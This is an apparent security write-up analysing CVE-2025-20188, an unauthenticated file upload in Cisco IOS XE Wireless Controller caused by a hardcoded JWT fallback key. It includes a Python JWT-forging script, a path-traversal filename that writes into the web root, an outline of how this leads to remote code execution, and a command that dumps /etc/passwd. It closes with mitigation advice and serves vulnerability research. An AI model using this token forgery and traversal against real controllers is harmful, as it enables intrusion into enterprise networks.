Quick Overview

This article analyzes the arbitrary file upload vulnerability in Cisco IOS XE Wireless Controller Software version 17.12.03 and earlier versions (CVE-2025-20188). The vulnerability arises from a hardcoded JSON Web Token (JWT), allowing unauthenticated attackers to upload arbitrary files. Here are the key technical points:

• Root Cause of the Vulnerability: By comparing the vulnerable version and the patched version of the image files, a hardcoded JWT key mechanism was discovered. The script ewlc_jwt_verify.lua uses a default value notfound when the key file /tmp/nginx_jwt_key is missing, leading to a forgeable JWT.
• Attack Path: By exploiting the upload endpoint /ap_spec_rec/upload/ on the OpenResty platform, combined with path traversal (../), files can be uploaded to target directories such as /usr/binos/openresty/nginx/html/ without authentication.
• RCE Implementation: By uploading a malicious configuration file to overwrite the target directory and triggering services monitored by inotifywait (such as pvp.sh) to reload configurations, commands can ultimately be executed to gain system privileges (e.g., reading /etc/passwd).
• Mitigation Measures: Upgrade to the latest version or disable the Out-of-Band AP Image Download feature, using the CAPWAP method to update the image.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Analysis of Cisco IOS XE WLC Arbitrary File Upload Vulnerability (CVE-2025-20188)

Recently, Cisco disclosed a vulnerability affecting Cisco IOS XE Wireless Controller Software version 17.12.03 and earlier. This issue is described as an unauthenticated arbitrary file upload vulnerability, stemming from a hardcoded JSON Web Token (JWT).

Cisco IOS XE Wireless LAN Controller (WLC) is a widely deployed enterprise solution for managing and controlling large-scale wireless networks. As part of the Cisco IOS XE operating system, it provides centralized management, policy enforcement, and seamless mobility support for wireless access points in campus and branch environments.

Our goal is to trace the root of this vulnerability by comparing the image files of the vulnerable version and the patched version. We first obtained the C9800-CL-universalk9.17.12.03.iso and C9800-CL-universalk9.17.12.04.iso image files. Within these ISO archives, we discovered two .pkg files. While the file command did not provide much information, the binwalk tool proved useful.

Great! This confirmed that the file system we extracted and explored is usable.

The preliminary exploration of the file system showed that the core components of the web application are located in the /var/www and /var/scripts directories. Further inspection of the files revealed that the application is built on OpenResty, a web platform that integrates Lua with Nginx.

We loaded the directories of the vulnerable and patched versions into the diffing extension of VS Code, browsing through each directory to identify relevant file differences. Significant changes were found in the ewlc_jwt_verify.lua and ewlc_jwt_upload_files.lua files located in the /var/scripts/lua/features/ directory. Given that this vulnerability relates to JWT processing, and these files reference JWT tokens and related keys, it strongly indicates that we are investigating the correct components.

To determine how and where these Lua scripts are called, we performed a simple grep search in the codebase.

In the /usr/binos/conf/nginx-conf/https-only/ap-conf/ewlc_auth_jwt.conf file, we see:

location /aparchive/upload {
    add_header X-Content-Type-Options nosniff;
    add_header X-XSS-Protection "1; mode=block";
    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;
    charset utf-8;
    client_max_body_size 1536M;
    client_body_buffer_size 5000K;

    set $upload_file_dst_path "/bootflash/completeCDB/";
    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;
    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;
}

# AP spectrum recording upload location block
location /ap_spec_rec/upload/ {
    add_header X-Content-Type-Options nosniff;
    add_header X-XSS-Protection "1; mode=block";
    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;
    charset utf-8;
    client_max_body_size 500M;
    client_body_buffer_size 5000K;
    set $upload_file_dst_path "/harddisk/ap_spectral_recording/";
    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;
    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;
}

This reveals the endpoints related to uploads, utilizing ewlc_jwt_verify.lua and ewlc_jwt_upload_files.lua in the backend—perfect!

The second configuration block indicates that the /ap_spec_rec/upload/ endpoint is first processed by ewlc_jwt_verify.lua as an access phase handler. If the request passes validation, it is forwarded to ewlc_jwt_upload_files.lua to handle the actual upload operation. For more details on each directive, refer to the OpenResty documentation.

ewlc_jwt_verify.lua script reads a key from /tmp/nginx_jwt_key and uses it to verify the JWT provided via the Cookie header or jwt URI parameter. If the key is missing, secret_read is set to notfound, which appears to be part of the hardcoded JWT mechanism we are investigating.

-- ewlc_jwt_verify.lua
local jwt       = require "resty.jwt"
local jwt_token = ngx.var.arg_jwt

if jwt_token then
    ngx.header['Set-Cookie'] = "jwt=" .. jwt_token
else
    jwt_token = ngx.var.cookie_jwt
end

local secret_read = ""
local key_fh = io.open("/tmp/nginx_jwt_key","r")
if ( key_fh ~= nil )
then
    io.input(key_fh)
    secret_read = io.read("*all")
    io.close(key_fh)
else
    secret_read = "notfound"
end
local jwt_comm_secret = tostring(secret_read)

local jwt_obj = jwt:verify(jwt_comm_secret, jwt_token)

if not jwt_obj["verified"] then
    local site = ngx.var.scheme .. "://" .. ngx.var.http_host;
    local args = ngx.req.get_uri_args();

    ngx.status = ngx.HTTP_UNAUTHORIZED
    ngx.say(jwt_obj.reason);
    ngx.exit(ngx.HTTP_OK)
end

To determine where the JWT was originally generated, we ran some grep commands and eventually found /var/scripts/lua/features/ewlc_jwt_get.lua.

-- ewlc_jwt_get.lua
local jwt = require "resty.jwt"
local json = require 'cjson'
local req_id = ngx.req.get_headers()["JWTReqId"]
local tcount = os.time()

-- Set expiration time to 5 minutes
tcount = tcount+300

local secret = ""
local secret_sz =  64
local in_fh = io.open("/tmp/nginx_jwt_key","r")
if ( in_fh ~= nil )
then
    io.input(in_fh)
    secret = io.read("*all")
    io.close(in_fh)
else
    local random = require "resty.random".bytes
    secret = random(secret_sz, true)
    if secret == nil then
        secret = random(secret_sz)
    end
    local key_fh = io.open("/tmp/nginx_jwt_key","w")
    if ( key_fh ~= nil ) then
        io.output(key_fh)
        io.write(secret)
        io.close(key_fh)
    end
end
local jwt_comm_secret = tostring(secret)

-- Generate JWT key
local jwt_gen_token = jwt:sign(
        jwt_comm_secret,
        {
            header={typ="JWT", alg="HS256"},
            payload={reqid=req_id, exp=tcount }
        }
    )
local response = {token = jwt_gen_token}
return ngx.say(json.encode(response))

This script reads the key from /tmp/nginx_jwt_key if it exists; otherwise, it generates a key by writing a 64-character byte string. It then uses jwt:sign() to create a JWT whose payload includes the JWTReqId header and an expiration timestamp.

To better understand how the flow works, we attempted to manually construct a JWT. First, we need to know the source of the JWTReqId. By further searching in the codebase with grep, we can find relevant information.

Interestingly, this header information is constructed in an ELF shared library:/usr/binos/lib64/libewlc_apmgr.so. To dig deeper, we searched for the JWTReqId string in IDA Pro, which led us to the ewlc_apmgr_jwt_request function. This gave us a clearer understanding of how the JWT is generated internally.

The assembly code above shows that the header string is constructed using snprintf. Here’s a useful tip: you can leverage large language models (LLMs) to investigate the source of the s variable, which is part of the header string—especially if you want to avoid statically tracing it through the binary.

Great! By cross-referencing the calls to ewlc_apmgr_jwt_request, we found only one reference!

Awesome, the JWTReqId header contains cdb_token_request_id1.

You can try modifying and running the Lua script to generate a JWT, or convert it to Python code (LLMs can also help with this step).

import os
import time
import jwt

tcount = int(time.time()) + 300

req_id = 'cdb_token_request_id1'

jwt_comm_secret = os.urandom(64)
jwt_gen_token = jwt.encode(
    {"reqid": req_id, "exp": tcount},
    jwt_comm_secret,
    algorithm="HS256",
    headers={"typ": "JWT"}
)

print(jwt_gen_token)

Let’s try to access the upload endpoint using the JWT.

Strange.

We recalled that the announcement mentioned the need to enable the Out-of-Band AP Image Download feature. After some research, we found that this can be enabled by navigating to Configuration → Wireless Global, in the AP Image Upgrade section.

This appears to be a standalone service running on port 8443, so we enabled the feature and retried our request using the new port.

Success—we received a response! This is a 401 Unauthorized error, accompanied by a signature mismatch error message. This was expected, as if the JWT is not signed with the correct key, jwt:verify() will fail. To proceed, we need to regenerate the JWT using the notfound key.

Perfect—we got a response. This endpoint is handled by the script located at /var/scripts/lua/features/ewlc_jwt_upload_files.lua.

-- ewlc_jwt_upload_files...if method == "POST" then
    while true do
        local typ, req, err = form:read()
        if not typ then
            ngx.say("failed to read: ", err)
            return
        end

        if typ == "header" then
            local file_name = getFileName(req)
            if not utils.isNil(file_name) then
                if not file then
                    file, err = io.open(location..file_name, "w+")
                    if not file then
                        return
                    end
                end
            end
        elseif typ == "body" then
            if file then
                file:write(req)
            end
        elseif typ == "part_end" then
            if file then
                file:close()
                file = nil
            end
        elseif typ == "eof" then
            break
        end
    end
else
    ngx.say("Method Not Allowed")
    ngx.exit(405)
end

The file will be written to location .. file_name, where location is defined in the configuration file as /harddisk/ap_spectral_recording/, specifically:set $upload_file_dst_path /harddisk/ap_spectral_recording/;

No measures are in place to prevent us from using .. for path traversal, so the next question is: where should we place the file? Accessing https://10.0.23.70:8443/ shows the default OpenResty homepage. This page is served from /usr/binos/openresty/nginx/html, making it a logical target location—we will attempt to place the file there. Notably, this service does not require authentication, making it an ideal target for exploiting the upload path.

filename="../../usr/binos/openresty/nginx/html/foo.txt"

Success!

Achieving Remote Code Execution (RCE)

Now the only thing left is to find a reliable way to leverage this upload vulnerability for code execution. There may be multiple ways to achieve this, and for brevity, we will skip many details.

One direction we decided to explore is leveraging the service of inotifywait, a tool that allows monitoring file events in a specified directory. After delving into these services, we discovered an internal process management service (pvp.sh) that waits for files to be written to a specific directory. Once a change is detected, it can trigger a service reload based on the commands specified in the service configuration file.

pvp.sh Code Snippet

In short, to achieve RCE, we need to:

• Overwrite the existing configuration file with our own command.
• Upload a new file to trigger the service reload.
• Check for success.

Modified Configuration File

Trigger File

# curl -k https://10.0.23.70/webui/login/etc_passwd root:*:0:0:root:/root:/bin/bash binos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin/bin/sync shutdown:x:6:0:shutdown:/sbin/sbin/shutdown halt:x:7:0:halt:/sbin/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin messagebus:x:998:997::/var/lib/dbus:/bin/false avahi:x:997:996::/var/run/avahi-daemon:/bin/false avahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false guestshell:!:1000:1000::/home/guestshell: qemu:x:1001:1001:qemu::/sbin/nologin dockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin

Output Verification

Note: In our tests on a fresh WLC installation, even without explicitly enabling the AP Image Upgrade feature, the 8443 port is open by default. This indicates that the service may be enabled in the default installation, and at least in the C9800 series version we tested, the vulnerable endpoint is accessible.

Mitigation Measures

The best mitigation is to upgrade to the latest version, as Cisco has already fixed the issue. However, if an immediate upgrade is not possible, Cisco recommends that administrators disable the Out-of-Band AP Image Download feature. Once this feature is disabled, AP image downloads will use the CAPWAP method for AP image updates, which will not affect the AP client state. Cisco strongly advises implementing this mitigation before an upgrade can be performed.

Conclusion

The analysis of this vulnerability in Cisco IOS XE WLC reveals how hardcoded keys, insufficient input validation, and exposed endpoints combine to create significant security risks—even in widely deployed enterprise-grade infrastructure.

Quick Overview

Analysis of Cisco IOS XE WLC Arbitrary File Upload Vulnerability (CVE-2025-20188)

Achieving Remote Code Execution (RCE)

Mitigation Measures

Conclusion

Related posts

Leave a Comment Cancel reply